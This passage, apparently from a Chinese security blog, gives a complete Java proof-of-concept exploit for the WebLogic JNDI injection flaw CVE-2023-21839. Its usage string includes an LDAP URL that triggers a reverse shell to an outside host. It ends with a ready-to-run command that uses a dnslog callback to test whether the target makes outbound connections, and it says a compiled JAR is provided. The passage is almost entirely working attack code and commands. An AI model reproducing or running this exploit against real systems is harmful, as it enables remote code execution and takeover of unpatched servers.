POC代码如下:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Random;
public class CVE_2023_21839 {
static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址\ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";
private static InitialContext getInitialContext(String url)throws NamingException
{
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
public static void main(String args[]) throws Exception {
if(args.length <2){
System.out.println(HOW_TO_USE);
System.exit(0);
}
String t3Url = args[0];
String ldapUrl = args[1];
InitialContext c=getInitialContext("t3://"+t3Url);
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,ldapUrl);
String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
try{
c.bind(bindName,f);
c.lookup(bindName);
}catch(Exception e){ }
}
}
展开

请自行编译上述POC代码，如有需要文章最后会给出编译好的JAR文件

测试DNSlog出网，生成域名

java -jar Weblogic-CVE-2023-21839.jar 192.168.200.5:7001 ldap://pktnfv.dnslog.cn

漏洞执行情况